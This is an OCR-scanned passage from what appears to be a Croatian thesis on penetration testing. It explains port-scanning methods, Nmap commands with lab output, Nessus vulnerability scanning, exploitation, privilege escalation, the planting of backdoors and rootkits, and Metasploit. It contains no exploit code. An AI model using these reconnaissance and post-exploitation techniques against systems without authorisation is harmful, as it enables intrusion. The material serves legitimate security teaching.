Skeniranje se obavlja tako da se poSalje ICMP ECHO paket prema Zeljenom
raCunalu (zeljenoj IP adresi), te ukoliko to racunalo odgovori s paketom ICMP
ECHO_REPLY ono je aktivho na mrezu. Ukoliko se ne dobije odgovor znaci da se to
racunalo s tom IP adresom ne nalazi na mrezi. [2]

Ukoliko je iz sigurnosnih razloga ping zabranjen na mrezi koja se skenira, koriste se
neke druge metode (npr. TCP ping) za otkrivanje aktivnih raCunala na mrezi.

4.2.2 Otkrivanje otvorenih portova, pokrenutih servisa i operacijskog sustava

| u ovom koraku koriste se razni port skeneri za detektiranje otvorenih portova,
servisa pokrenutim na otvorenim portovima (engl. banner grabbing) i instaliranih
operacijskih sustava (engl. fingerprinting). [3]

Na Internetu su dostupni razli€iti besplatni port skeneri, a neki od njih su:
e Nmap,
e Xprobe2,
e Hittprint,
e Amapi
e POf.
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4.2.2.1 Otkrivanje otvorenih portova

Nakon Sto su pronadena aktivha racunala na mrezi sada se skeniraju kako bi se
otkrili otvoreni TCP (Transport Control Protocol) i UDP (User Datagram Protocol)
portovi. Port skeneri koriste razliCite dostupne metode skeniranja koje imaju svoje
prednosti i mane. Neke metode dobre su za skeniranje kroz vatrozidove, dok su neke
druge metode dobre za skeniranje mreze unutar vatrozida. Da bi se razumjelo na koji
nacin to¢no rade port skeneri potrebno je razumjeti metode koje se koriste za
skeniranje. Najpoznatija je metoda SYN SCAN. Ukoliko SYN SCAN metoda ne
zadovoljava potrebe postoje jos i FIN SCAN, XMAS Tree SCAN i NULL SCAN
metode. Sve navedene metode koriste TCP pakete, ali svaka metoda postavija
razliCite zastavice unutar samog TCP paketa i na osnovu odgovora zakljuCuje se je li
port otvoren ili zatvoren. [2]

4.22.1.1 SYN SCAN metoda

U SYN SCAN metodi postavlja se SYN zastavicu unutar TCP paketa i taj se paket
Salje meti skeniranja na razliite portove. Ovisno o odgovoru zaklju€uje se je li port
otvoren ili zatvoren. Port je zatvoren ukoliko meta skeniranja odgovori s postavljenom
zastavicom RST. Port je otvoren ukoliko meta skeniranja odgovori s postavljenim
zastavicama SYN i ACK. U slu€aju otvorenog porta na dobiveni odgovor odgovara se
slanjem paketa s postavljenom zastavicom RST. [9] (Slika 4.1)

Zatvoren port Otvoren port
RST SYNIACK

T |
&.

Skener Meta Skener Meta

Slika 4.1: SYN SCAN metoda

4.2.2.1.2 FIN SCAN metoda

U FIN SCAN metodi postavlja se FIN zastavicu unutar TCP paketa i taj se paket Salje
meti skeniranja na razliCite portove. Port je zatvoren ukoliko meta skeniranja
odgovori s postavljenom zastavicom RST. Port je otvoren ukoliko meta skeniranja ne
posalje nikakav odgovor na poslani paket. [9] (Slika 4.2)
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Slika 4.2: FIN SCAN metoda

4.2.2.1.3 XMAS Tree SCAN metoda

U XMAS Tree SCAN metodi postavljaju se FIN, URG i PUSH zastavicu unutar TCP
paketa i taj se paket Salje meti skeniranja na razliCite portove. Port je zatvoren
ukoliko meta skeniranja odgovori s postavljenom zastavicom RST. Port je otvoren
ukoliko meta skeniranja ne posalje nikakav odgovor na poslani paket. [9] (Slika 4.3)

Zatvoren port Otvoren port

FIN, URG, PUSH FIN, URG, PUSH

\.

RST

=R

Skener Meta Skener Meta

Slika 4.3: XMAS Tree SCAN metoda
4.2.2.1.4 NULL SCAN metoda

U NULL SCAN metodi postavlja ne postavlja se nijedna od zastavica unutar TCP
paketa i taj se paket Salje meti skeniranja na razliCite portove. Port je zatvoren
ukoliko meta skeniranja odgovori s postavljenom zastavicom RST. Port je otvoren
ukoliko meta skeniranja ne posSalje nikakav odgovor na poslani paket. [9] (Slika 4.4)

16



Zatvoren port Otvoren port
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Slika 4.4: NULL SCAN metoda

4.2.2.2 Otkrivanje pokrenutih servisa

Osim Sto port skeneri mogu otkriti otvorene portove na racunalu mogu pomoci pri
otkrivanju procesa pokrenutog na otvorenom portu. Npr. ako je otkriveno da je
otvoren port 80, obi¢no to je znak da je na tom portu pokrenuta neka vrsta Web
posluzitelja. Kako postoji veliki broj razliCitih Web posluzitelja, a svaki ima razliite
sigurnosne propuste, to nije dovoljna informacija. Proces je moguce identificirati
prema informacijama (engl. banner) koje sam proces $alje na odredeni upit. Npr.
HTTP zaglavlje daje puno informacija o sustavu s kojeg je poslano. Salje detaljne
informacije o pokrenutom posluZitelju s kojeg je zaglavlje poslano.

4.2.2.3 Identifikacija operacijskog sustava

Svi port skeneri daju informacije o otkrivenim otvorenom portovima koje su pronasli,
ali neki port skeneri nude dodatne informacije. Obi¢no se tijekom skeniranja portova
moze dobiti i informacija o operacijskom sustavu koji se nalazi na racunalu koje se
skenira. O kojem operacijskom sustavu se radi moguce je saznati iz razliitih
informacija koje se prikupljaju tijekom skeniranja portova.

Ako je npr. skeniranjem portova utvrdeno da su otvoreni TCP portovi 135 i 139 moze
se zakljuciti da se radi o operacijskom sustavu Windows, jer su to standardni portovi
za njega. TTL (Time To Live) polje unutar TCP paketa isto tako moze Koristiti za
identifikaciju operacijskog sustava, jer svaki operacijski sustav ima karakteristiCan
odgovor na razliCite pakete.

Bitno je napomenuti da identifikacija operacijskog sustava ne mora uvijek biti to¢na.
Vatrozidovi mogu blokirati dio portova i filtrirati promet i na taj nacin "sakriti" neke
odredene portove. Ili administrator sustava moze postaviti sustav tako da Salje
nestandardne odgovore kako bi zakamuflirao operacijski sustav.

4.2.3 Nmap

Nmap je najpopularniji besplatan, otvorenog koda port skener. Dostupan je za vecinu
operacijskih sustava (Linux, Windows i Mac OS X). Standardno sucelje je komandno-
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linijsko sucelje, ali ima i opcionalno graficko suceljie (NmapFE). Koristi se za
otkrivanje aktivnih raCunala, identificiranje pokrenutih servisa na otvorenim
portovima, te identificiranje operacijskog sustava. Podrzava velik broj razlicitih tipova
skeniranja od kojih svako ima svoje prednosti i mane. Podrzava sve do sada
navedene metode skeniranja (SYN SCAN, FIN SCAN, XMAS Tree SCAN i NULL
SCAN). [2]

Nmap se Koristi na sljedeéi nacin:
nmap [tip skeniranja] [dodatne opcije] <IP adresa ili raspon IP adresa>

Kao prvi argument predaje se tip skeniranja. Nmap omogucuje kombiniranje razli€itih
tipova skeniranja. Nakon toga, kao drugi argument, postavljaju se dodatne opcije
skeniranja (oblik ispisa rezultata, ispis rezultata u datoteku, portovi koji se skeniraju i
sl.). Kao zadnji argument predaje se IP adresa ili raspon IP adresa koji se skenira.
Ovisno o Zeljenom nacinu skeniranja i rezultatu koriste se razliCite raspolozive opcije.
[13]

4.2.3.1 KoriStenje Nmapa za otkrivanje aktivnih racunala

Za otkrivanje aktivnih racunala Nmap moze Koristiti obi¢ni ping (opcije —sP i —PO) ili
moze Koristiti TCP ping (opcije -PS, -PA i -PU). (Slika 4.5)

bt nmap -sP 192.168.1.1-254

Starting Nmap 4.20 ( http://insecure.org ) at 2008-85-27 20:12 GMT
Host 192.168.1.1 appears to be up.

MAC Address: 90:18:F8:40:AB:7E (Cisco-Linksys)

Host 192.168.1.21 appears to be up.

MAC Address: 90:0C:29:0B:03:D3 (VMware)

Host 192.168.1.23 appears to be up.

MAC Address: 90:0C:29:09:AC:17 (VMware)

Host 192.168.1.102 appears to be up.

Host 192.168.1.110 appears to be up.

MAC Address: 00:0C:29:10:CE:®4 (VMware)

Host 192.168.1.111 appears to be up.

MAC Address: 00:0C:29:02:95:8F (VMware)

Host 192.168.1.254 appears to be up.

MAC Address: ©0:14:7F:73:A2:C1 (Thomson Telecom Belgium)

Nmap finished: 254 IP addresses (7 hosts up) scanned in 43.484 seconds
bt

Slika 4.5: Otkrivanje aktivnih racunala

4.2.3.2 Koristenje Nmapa za identificiranje servisa i operacijskog sustava

Za identificiranje pokrenutih servisa i njihovih potpunih naziva i verzija na otvorenim
portovima koristi se opcija —sV uz kombiniranje nekog od tipova skeniranja (npr. —sS
za SYN SCAN metodu). (Slika 4.6)
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bt nmap -s5 -sV 192.168.1.110@

Starting Nmap 4.20 ( http://insecure.org ) at 2008-85-27 20:19 GMT
Interesting ports on 192.168.1.110:
Not shown: 1688 closed ports

FORT STATE SERVICE WERSION
80/tcp  open http Microsoft IIS webserver 6.0
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn
445/tcp  open microsoft-ds Microsoft Windows 2003 microsoft-ds

1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
2500/tcp open http Microsoft IIS webserver 6.0

3389/tcp open ms-term-serv?

MAC Address: 00:0C:29:10:CB:04 (VMware)

Service Info: 0S: Windows

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submits .

Nmap finished: 1 IP address (1 host up) scanned in 57.728 seconds
bt

Slika 4.6: Otkrivanje otvorenih portova i pokrenutih servisa

Za identifikaciju operacijskog sustava koristi se opcija —0 uz kombinaciju nekog od
raspolozivih tipova skeniranja. U vecini sluCajeva i iz rezultata identificiranja
pokrenutih servisa moze se zaklju€iti o kojem operacijskom sustavu se radi.

4.3 Analiza ranjivosti

Analiza ranjivosti treCi je i zavrdni korak faze prikupljanja podataka. Nakon Sto su
uspjeSno zavrSena prethodna dva koraka, cilj penetracijskog ispitivaCa je da sada
pokuSa pronaéi sve moguce ranjivosti (sigurnosne propuste) u ciljanom sustavu.
Tijekom ovog koraka penetracijski ispitivaC mora se sluziti svojim znanjem i
iskustvom kako bi pronasao ranjivosti u sustavu. Penetracijski ispitiva¢ za poznate
ranjivosti moze koristiti automatizirane alate kako bi se olakS8ao pronalazak tih
poznatih ranjivosti u sustava. Ti alati obiCno imaju svoje baze podataka o poznatim
ranjivostima i detaljne informacije o njima, a baza se obicno periodiCki obnavlja.

Vrlo je vazno da penetracijski ispitivaC bude u tijeku sa svim dogadajima koji su
povezani sa sigurnosti u raCunalnom svijetu. UspjesSnost ove faze direktno ovisi o
znanju i iskustvu penetracijskog ispitiva¢a. Penetracijski ispitivac uvijek mora biti u
toku s novootkrivenim ranjivostima u sustavima (pridruziti se referentnim sigurnosnim
mailing listama, posjecCivati stranice koje se bave sa sigurnos¢u i otkrivanjem novih
ranjivosti i sl.). Nove ranjivosti se pronalaze svaki dan i objavljuju se u sigurnosnim
zajednicama, referentnim mailing listama i razliCitim forumima koji se bave sa
sigurnoscu.

Neke od dobrih informativnih Web stranica koje su iznimno korisne za istrazivanje
potencijalnih ranjivosti su:

e SecurityFocus (http://www.securityfocus.com),

e milwOrm (http://www.milwOrm.com),

e Packet Storm (http://packetstormsecurity.org),

o FrSIRT (http.//www.frsirt.com),

e MITRE Corporation CVE (http:/cve.mitre.org),

e NIST National Vulnerability Database (http./nvd.nist.gov),
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e |SS X-Force (http.//xforce.iss.net) i
e CERT vulnerability notes (http.//www.kb.cert.org/vuls). [2]

Penetracijski ispitivaC ne smije se osloniti samo na automatizirane alate za
pronalazak ranjivosti sustava. Ti alati imaju jednu negativnu osobinu, a to je da mogu
dati false positive i false negative rezultate. Znaci, moguce je da detektiraju ranjivost
koja uopcCe i ne postoji u sustavu, a isto tako moguce je da ne detektiraju ranjivost
koja postoji u sustavu.

Kod neautomatiziranog (ru¢nog) nacina otkrivanja ranjivosti zahtjeva se veliko znanje
i iskustvo penetracijskog ispitivaa. RuCne metode otkrivanja ranjivosti sustava
obi¢no kao rezultat daju pronadene nove ranjivosti u sustavu ili krive konfiguracije
sustava. Postoji nekoliko metoda za otkrivanje ranjivosti:

analiza izvornog koda,

analiza binarnih datoteka,

runtime analiza API funkcija,

fuzzing metoda i

koriStenje viSe razliCitih metoda. [14]

Najzanimljivija od spomenutih metoda je fuzzing metoda. Fuzzing metoda omogucuje
brzo otkrivanje rizi€nih sigurnosnih propusta u razliCitim programskim rjeSenjima.
Bazira se na fault injection tehnici, kojom se prosljedivanjem razli€itih ulaznih
podataka ciljanoj aplikaciji pokuSavaju otkriti sigurnosni propusti unutar aplikacije. Cilj
je da proslijedeni podaci na ciljanoj aplikaciji uzrokuju manifestacije sigurnosnog
propusta. Fuzzing metoda je pogodna za otkrivanje sigurnosni propusta u svim
aplikacijama koje obraduju korisniCki unos, kao Sto su npr. posluziteljske aplikacije,
klijentske aplikacije, parseri datoteka i sl. Koristenjem fuzzing metode moguce je
otkriti gotovo sve do sada poznate tipove sigurnosnih propusta, kao Sto su:

e preljev spremnika (engl. buffer overflow),

e preljev cjelobrojne vrijednosti (engl. integer overflow),

e format string ranjivosti (engl. format string attack),

e umetanje SQL naredbi (engl. SQL Inject),

e Cross Site Scripting - XXS i

e udaljeno izvrSavanije naredbi (engl. remote command execution). [14]

Ako penetracijski ispitivaC koristi automatizirane alate za otkrivanje poznatih
ranjivosti, proces otkrivanja ranjivosti sustava ne smije ostati samo na tome.
Penetracijsko ispitivanje sigurnosti sustava nije samo aktivhost koja obuhvaca
pokretanje automatiziranih alata nego je i vise od toga. Ukoliko se koriste
automatizirane metode pronalaska ranjivosti u sustavu potrebno je provesti i ru¢ne
metode kako bi se osiguralo da je pronadeno $to je vise moguce ranjivosti sustava, a
time se povecava i kvaliteta samog penetracijskog ispitivanja.

Neki od dobrih automatiziranih alata za pronalazak poznatih ranjivosti, komercijalni i
nekomercijalni, su:
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e Nessus,

¢ Retina Network Security Scanner,
e |ISS Scanner,

e SARA,

e GFI LANguard i

e Shadow Security Scanner.

4.3.1 Nessus

Nessus (http://www.nessus.org) je besplatan alat za skeniranje i pronalazak poznatih
ranjivosti u sustavu. Moze se koristiti za veliki broj razli€itih sigurnosnih skeniranja.
Znacajno smanjuje vrileme penetracijskog ispitivanja u potrazi za poznatim
ranjivostima u sustavu. Autor i proizvodaC¢ Nessusa je Tenable Network Security.
Radi kontinuiranog unapredivanja skenera Tenable proizvodi vecinu dodataka (engl.
plugin) za razna sigurnosna skeniranja, za novootkrivene ranjivosti, te naplacuje
pretplatu za te dodatke. Postoji i besplatna pretplata, ali aZuriranje dodataka kasni
tiedan dana za pretplatom koja se placa.

Nessus se zasniva na Kklijent-posluzitelj arhitekturi. Nessus klijent konfigurira
skeniranje, nacin skeniranja, dodatke, cilj skeniranja, te daje izvjestaj o rezultatima
skeniranja zadanih ciljeva. Nessus posluzitelj provodi sva sigurnosna skeniranja, koja
su implementirana kao dodatci za skeniranje. Dodatci su napisanu u NASL jeziku
(Nessus Attack Scripting Language). Sva mrezna komunikacija izmedu klijenta i
servera je zasti¢ena, za komunikaciju se koristi TLS (Transport Layer Security).

Nessus posluzitelj i klijent ne moraju biti instalirani na istom operacijskom sustavu.
Nessus posluzitelj moze biti instaliran na jednom operacijskom sustavu (npr. Linux),
a klijent instaliran na drugom operacijskom sustavu (npr. Windows). Isto tako,
Nessus podrzava da su i posluzitelj i klijent instalirani na jednom racunalu, na jednom
operacijskom sustavu. Nessus posluzitelj podrzava vecinu danas popularnih
operacijskih sustava, kao sto su Linux, Windows, FreeBSD, Solaris i Mac OS X.
Nessus klijent podrzava isto tako nekoliko operacijskih sustava, a to su Linux,
Windows i Solaris.

Nessus posluZzitelj za instalaciju zahtjeva administratorske ovlasti, to vrijedi za sve
operacijske sustave na koje se moze instalirati. Npr. za operacijski sustav Linux za
instalaciju Nessus posluzitelja potrebno je imati root ovlasti, a na operacijskom
sustavu Windows potrebno je imati ovlasti lokalnog administratora sustava (Local
Administrator). [2]

4.3.1.1 Konfiguriranje Nessusa

Standardne pocetne vrijednosti za politiku skeniranja (engl. default scanning policy) u
vecini sluCajeva nece odgovarati za vecinu skeniranja. Zbog toga Nessus pruze veliki
izbor opcija skeniranja kako bi se skeniranje moglo prilagoditi za odredenu svrhu.

Nakon Sto se pokrene Nessus klijent, vecina opcija je onemogucena, sve dok se
klijent ne spoji na Nessus posluzitelj. (Slika 4.7)
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Slika 4.7: Glavni prozor Nessus skenera

Klikom na gumb Connect otvara se prozor u kojem je moguce odabrati Zeljeni
Nessus posluzitelj koji se zeli koristi tijekom skeniranja. (Slika 4.8)

Seleck a Messus Server:

lacalbask

& & (e

Close

_onneck

Slika 4.8: Odabir Nessus posluZitelja

U konfiguracijskom prozoru posluzitelja moguce je promijeniti port na kojem slusa
Nessus posluzitelj, isto tako moguce je promijeniti IP adresu, te definirati period
osvjezavanja baze dodataka poznatih ranjivosti. Nessus posluzitelj obi¢no sluSa na
TCP portu 1241. U istom prozoru omoguceno je pokretanje i zaustavljanje Nessus

posluzitelj. (Slika 4.9)
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Messus Scanner Service

Lisken Address
Server IP: 122, 0 .0 .1 Port: 1241
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Plugin Update Scheduler
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~ Purge the plugin database at each update (slower)

Slika 4.9: Konfiguracija Nessus posluzitelja

Nakon Sto se Nessus klijent uspjeSno spoji na Nessus posluzitelj] moguce je
konfigurirati Nessus Klijent i postaviti Zeljene opcije kako bi se izvrSilo skeniranje.
Omoguceno je dodavanje ciljeva skeniranja. Ciljeve skeniranja moguce je dodati na
viSe nacina. Moguce je dodavati jednu po jednu IP adresu, dodati odredeni raspon IP
adresa koje Ce se skenirati ili dodati datoteku u kojoj se nalaze IP adrese koje Ce se
skenirati.

Nakon $to je odabran cilj skeniranja potrebno je definirati politiku i nacin skeniranja.
Potrebno je definirati na koji nacin se izvrSava skeniranje i $to ¢e se to€no skenirati,
te koje poznate ranjivosti ¢e biti ukljuCene u skeniranje.

Nessus klijent pruza mogucnost odabira naCina skeniranja. Neki Nessus dodatci za
skeniranje koriste metode koje su agresivhe i mogu onemoguciti sustav koji se
skenira, tj. izazvati DoS napad. Zbog toga je u opcijama moguce ukljuciti ili iskljuciti
te agresivne metode (ukljucCivanjem i isklju€ivanjem opcije safe check). U opcijama je
moguce odabrati vrstu port skenera koji se koristi kod skeniranja sustava (ping scan,
SYN scan, Nessus TCP scanner i sl.). Nessus u svojim opcijama omogucava
postavljanje velikog broja opcija skeniranja. Jedna od glavnih opcija koje je potrebno
postaviti je odabir dodataka koji Ce se koristiti, tj. odabir poznatih ranjivosti na koje se
testira ciljani sustav. (Slika 4.10) Nakon S§to se postave sve potrebne opcije
skeniranja moguce je izvrsiti skeniranje nad zadanim ciljanim sustavom.
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Slika 4.10: Odabir sigurnosnih dodataka za skeniranje

4.3.1.2 Nessus izvijeSce

Nessus sve S§to je pronaSao kategorizira u tri skupine: sigurnosne rupe, sigurnosna
upozorenja i sigurnosne informacije. Sigurnosne rupe izvjeStavaju o pronadenim
poznatim ranjivostima u sustavu. Sigurnosna upozorenja daju neka upozorenja o
skeniranom sustavu i njegovoj konfiguraciji. Sigurnosne informacije daju informacije
o svemu $to je Nessus skeniranjem sustava pronasao. (Slika 4.11)

U obzir se mora uzeti da neki od pronadenih propusta uop¢e ne postoje na sustavu
koji je skeniran (false positive). Isto tako, ne mora znaciti da je Nessus pronasao sve
ranjivosti sustava (false negative).

Nakon $to je izvjeS€e generirano Nessus omogucava konvertiranje tog izvje$¢a u
nekoliko razli¢itih formata. Najjednostavniji i najpregledniji format je HTML format
izvjeSca. Ostali formati su Nessus formati, noviji NBE format ili stariji NSR format.
Neki Nessus klijenti omogucuju konvertiranje izvjeS¢a u XML ili PDF, te neki pruzaju
mogucnost usporedivanja dva izvjeSc¢a.
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5. Faza penetracije

Ova faza je to Sto Cini razliku izmedu penetracijskog ispitivanja sigurnosti sustava i
analize ranjivosti sustava. Ovo je, moze se reéi, glavna faza penetracijskog
ispitivanja sustava. Faza penetracije najzahtjevnija je faza penetracijskog ispitivanja,
zahtjeva najviSe znanja i iskustva.

Nakon 3&to su utvrdene ranjivosti koje se nalaze u sustavu, provodi se faza
penetracije. Cilj je identificirati, odabrati, odgovarajuce pronadene ranjivosti sustava,
mete penetracije, za pokusaj penetracije u sustav. Vrijeme i trud koji ¢e biti uloZzen
za iskoristavanje pronadenog propusta mora se dobro procijeniti. Procjena vremena
koje je potrebno kako bi se pronadena ranjivost iskoristila jako je bitha za fazu
penetracije. Isto tako, kako je bitno vrijeme koje ¢e se utroSiti na iskoristavanje
ranjivosti, bitna je i sama meta faze penetracije. Sustav koji se ispituje moze imati
veliki broj raCunala. U fazi prikupljanja podataka moze biti prikuplien veliki broj
informacija o raCunalima i pronadenim ranjivostima sustava. Penetracijski ispitivac
jednostavno nema dovoljno vremena da pokusa iskoristiti sve pronadene ranjivosti
nego se mora fokusirati na odredene bitne ciljeve. Npr. ako se ispituje sustav koji ima
vise od 200 racunala. U fazi prikupljanja podataka utvrdeno je da se u toj mrezi
nalazi 5 posluzitelja, a ostala raCunala su obi¢na korisni¢ka racunala. Najvjerojatnije
penetracijski ispitivaC ¢e kao cilj penetracije izabrati bas tih 5 pronadenih posluzitelja.

Ispravnim odabirom mete penetracije penetracijski ispitivaC ne¢e uzaludno trositi
vrijeme i napore radeci suviSan i nepotreban posao. Obi¢no penetracijsko ispitivanje
ima vremenska ogranicenja i zbog toga penetracijski ispitiva¢ ne smije nepotrebno
troSiti raspolozivo vrijeme. [1]

Nakon odabira odgovarajucih meta za penetraciju, faza penetracije se obavlja samo
nad tim odabranim metama. Prilikom provodenja faze penetracije na nekim
odabranim metama moze doc¢i do problema. lako meta ima pronadene ranjivosti to
ne implicira da Ce iskoriStavanje tih ranjivosti biti lagan posao. Neke od pronadenih
ranjivosti je nemoguce iskoristiti u praksi iako je to u teoriji moguce. Ukoliko se radi o
poznatim ranjivostima potrebno je isprobati veC raspolozZive alate za pokuSaj
penetracije. Ukoliko takvi alati ne daju nikakve korisne rezultate, tek se tada
pokuSavaju neke druge metode iskoriStavanja pronadene ranjivosti sustava. [3]

Svi provedeni koraci moraju se pravilno dokumentirati i dodati u izvjeSée
penetracijskog ispitivanja. Svi pokusaiji iskoriStavanja i sam proces iskoriStavanja, bio
on uspjeSan ili ne, mora se isto tako dokumentirati i priloZiti u izvjeScu.

Opcenito faza penetracije dijeli se na dva koraka:
e iskoriStavanje ranjivosti (engl. exploitation) i

e Sirenje djelovanja (engl. privilege escalation). [7]

5.1 IskoriStavanje ranjivosti
U ovom koraku faze penetracije iskoristavaju se, ili se pokuSavaju iskoristiti,

pronadene ranjivosti odabranih meta. Penetracijski ispitivaC pokuSava iskoristi sve
pronadene ranjivosti. Danas postoji veliki broj repozitorija na Internetu koji sadrze
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baze podataka do sada pronadenih ranjivosti i exploite koji ih iskoriStavaju. Neki od
tih repozitorija su: http://www.gnucitizen.org, http://www.milwOrm.com,
http.//packetstormsecurity.org/assess/exploits/, i sl.). Te baze podataka svakodnevno
se osvjezavaju s novopronadenim ranjivostima. [2]

Ovaj korak faze penetracije moze biti opasan ako se ne izvede pravilno. Postoji
opasnost da izvrSavanje exploita, kako bi se iskoristila ranjivost na nekom sustavu,
moze rezultirati ruSenjem tog sustava. Ovo je potrebno naglasiti i narucitelju
ispitivanja, kako bi bio svjestan nezeljenih posljedica. Zbog toga je sve exploite prije
upotrebe na stvarnom sustavu potrebno isprobati na nekom testnom sustavu.

Cesto sam proces iskori$tavanja ranjivosti na sustavima dovodi do otkrivanja novih
informacija o sustavu. Stvara se zatvorena petlja izmedu faze penetracije i faze

prikupljanja podataka. Novoprikupljene informacije koriste se za otkrivanje novih
potencijalnih ranjivosti u sustavu. [9] (Slika 5.1)

Dodatne informacije

| Faza prikupljanja

Faza planiranja podataka

Faza penetracije

L

Faza
izvjeStavanja

Slika 5.1: Kruzni ciklus izmedu faze penetracije i faze prikupljanja podataka

Penetracijski ispitivaC mora dobro poznavati razliCite vrste programskih i skriptnih
jezika, kao sto su npr. C, Perl, Python, Ruby i sl. Bez ovog znanja penetracijski
ispitiva€ ne bi bio u stanju razumjeti ve¢ napisane exploite, a isto tako ne bi znao niti
pisati svoje vlastite exploite.

Danas postoje mnoge razvojne okoline, okviri, koje penetracijskim ispitivaCima
olakSavaju razvijanje i pokretanje exploita. Penetracijski ispitivaci trebali bi iskoristiti
sve mogucnosti koje im pruzaju ovi alati, a ne koristiti takve alate samo za pokretanje
veé¢ gotovih exploita. Ovi alati olakS8avaju pisanje i izvodenje exploita. Znacajno
skracuju vrijeme pisanja vlastitih exploita, te testiranje i pokretanje napisanih exploita.

Neki od nekomercijalnih (otvorenog koda) i komercijalnih alata su:
¢ Metasploit Framework,
e CORE IMPACT i
e Immunity CANVAS.

5.2 Sirenje djelovanja

Vrlo Cesto iskoristavanjem neke od pronadene ranjivosti ne dobiva se potpuna
kontrola nad sustavom. Npr. umjesto administratorskih ovlasti iskoriStavanjem
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ranjivosti doslo se u posjed obicnih korisnickih ovlasti. Tada je potrebno provesti jo$
nekoliko dodatnih koraka kako bi se istrazio sustav u potrazi za potencijalnim novim
(lokalnim) ranjivostima. Tijekom provodenja tih koraka moguce je doc¢i do nekih novih
informacija o sustavu, Sto penetracijskog ispitivata vrata na fazu prikupljanja
podataka i otkrivanje ranjivosti u sustavu. Ukoliko se pronadu nove ranjivosti sustava
potrebno je napraviti procjenu na koji nacin iskoristavanje tih ranjivosti utjeCe na
sustav, da ne dode do nezeljenih posljedica. Ovo je kruzni proces, koji se moze
ponoviti nekoliko puta. Taj se proces ponavlja sve dok se ne dobije potpuna kontrola
nad sustavom, naravno ukoliko je to moguce. [9] (Slika 5.2)

Faza prikupljanja L, Dobivanje Sirenje N Pretrazivanje Instaliranje
podataka pristupa djelovanja sustava dodatnih alata

Slika 5.2: Proces dobivanja potpune kontrole nad sustavom

Ukoliko iskoristavanjem ranjivosti nisu dobivena korisni¢ka prava za potpunu kontrolu
nad sustavom (root korisnik u Linux operacijskim sustavima ili lokalni administrator
na Windows operacijskim sustavima) ponovno zapocinje faza prikupljanja podataka.
Ova faza se sada provodi lokalno na kompromitiranom sustavu. Tijekom ovog
procesa penetracijski ispitivaC na sustav moZze instalirati dodatne alate kako bi si
olakSao pronalazak novih ranjivosti ili kako bi si olakSao pristup samom sustavu. Neki
od tih alata su: razni trojanski koniji (engl. trojan horse), zadnja vrata (engl. back
door), razni rootkitovi (engl. rootkit) i sl.

Nakon uspjeSnog iskoriStavanja ranjivosti na sustavu i nakon $to je dobivena
potpuna kontrola nad racunalom to racunalo se moze koristiti kao poCetna toCka za
daljnje napade. Taj postupak naziva se pivotiranje. Jedan od naziva za takva
racunala je zombi racunalo. Penetracijski ispitivaC takav sustav moZze iskoristiti kao
pocetnu toCku za daljnje penetracijsko ispitivanje sustava. Ovo je dobar pokazatel
kakav utjecaj na samu organizaciju ima kompromitiranje jednog od njezinih sustava.
Za koristenje kompromitiranog sustava kao pocCetne toCke penetracijski ispitivaC mora
imati sve potrebne dozvole i dopustenja od organizacije, kako ne bi bilo nezeljenih
posljedica. Penetracijski ispitivaé mora Cuvati sve zapise o provedenim akcijama u
ovom koraku. Ti zapisi kasnije mogu posluziti kao dokaz Sto se sve toc¢no radilo
tijekom ovog koraka, ako dode do nezeljenih posljedica, a i ulaze u izvjeSce
penetracijskog ispitivanja.

5.3 Metasploit Framework

Metasploit Framework (MSF) (http.//www.metasploit.com) je alat otvorenog koda
(engl. open source) koji pruza sigurnosnim struCnjacima razvojnu okolinu za
izvodenje penetracijskog ispitivanja. Projekt je inicijalno zapo€eo kao mrezna igra da
bi se razvio u moc¢an alat za penetracijsko ispitivanje, izradu exploita i alat za analizu
ranjivosti sustava. [6]
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Omogucuje jednostavnu i brzu izradu exploita i drugih alata za razliCite potrebe
penetracijskog ispitivanja. MSF je na pocCetku bio samo nakupina velike koliCine
exploita i koda koji se mogao upotrijebiti za razvoj novih exploita. Danas MSF nije
samo nakupina exploita nego je i razvojna okolina koja omogucava sigurnosnim
struénjacima istrazivanje i razvoj novih tehnika ispitivanja sigurnosti u racunarskim
sustavima.

Originalno MSF je bio napisan u Perl skriptnom jeziku i uklju€ivao je razliCite dijelove
napisane u programskom jeziku C, Pythonu i asembleru. Od verzije 3.0 MSF je
nanovo napisan u programskom jeziku Ruby. Trenutna verzija je licencirana pod
MSF licencom.

lako MSF ima mnoga dobra svojstva i karakteristike ima i neke slabosti, a neke od
njih su: [6]

e Nema exploita za iskoriStavanje propusta u Web aplikacijama, kao Sto su
ubacivanje SQL naredbi, XXSi sl.

e Sucelja za udaljeni pristup MSF-u nemaju ugradenu nikakvu sigurnost. Ne
postoji autentifikacija udaljenog korisnika pa postoji rizik od zlonamjernog
iskoriStavanja ovog propusta. U MSF dokumentaciji postoji upozorenje na
ovaj propust.

e Ne postoji nikakav mehanizam dokumentiranja provedenih akcija unutar
MSF-a. Ne postoji automatsko dokumentiranje koje bi pomoglo
penetracijskim ispitivaCima kreiranje iscrpnog izvjeS¢a o Kkoristenim
exploitima i pronadenima propustima. Ali kako MSF omogucava
programiranje i dodavanje novih dodataka (engl. plugin), tako da je moguce
dodati bilo kakvu novu funkcionalnost, pa postoji rijeSenje za ovaj
"problem".

Podrzane platforme su Windows, Linux, Mac OS X i ve¢ina BSD-ova. MSF se
aktivno razvija i unapreduje. Trenutna verzija MSF-a je 3.1 i ima podr8ku za preko
200 exploita, 116 payloada, 17 kodera, 6 NOP generatora i 43 pomoc¢na alata.

Tri osnovne komponente MSF-a su sucelje (engl. interface), moduli (engl. modules) i
kod koji se izvrSava nakon uspjesno izvrSenog exploita (engl. payloads). [6]

5.3.1 Sucelja

Postoji nekoliko korisni¢kih sucelja za interakciju s korisnikom. Najpopularnije i
najfleksibilnije sucelje je komandno-linijsko interaktivno sucelje (msfconsole). Postoji i
Web sucelje (msfweb), od verzije 3.1 i grafiCko sucelje (msfgui), te neinteraktivho
komandno-linijsko sucelje (msfcli). Komandno-linijsko sucelje nije podrzano u
operacijskom sustavu Windows, pa se preporuca koristenje emulacije tog sucelja
unutar Web sucelja ili grafickog sucelja. [6]

5.3.1.1 Komandno-linijsko interaktivno sucelje

Komandno-linijsko sucelje je tradicionalan i primarni nacin koristenja MSF-a.
Dizajnirano je da bude fleksibilno i brzo. Ukoliko se unese naredba koja nije
standardna naredba MSF-a, MSF skenira operacijski sustav u potrazi za tom
naredbom. Ukoliko pronade naredbu, naredba se izvrSava s predanim argumentima.
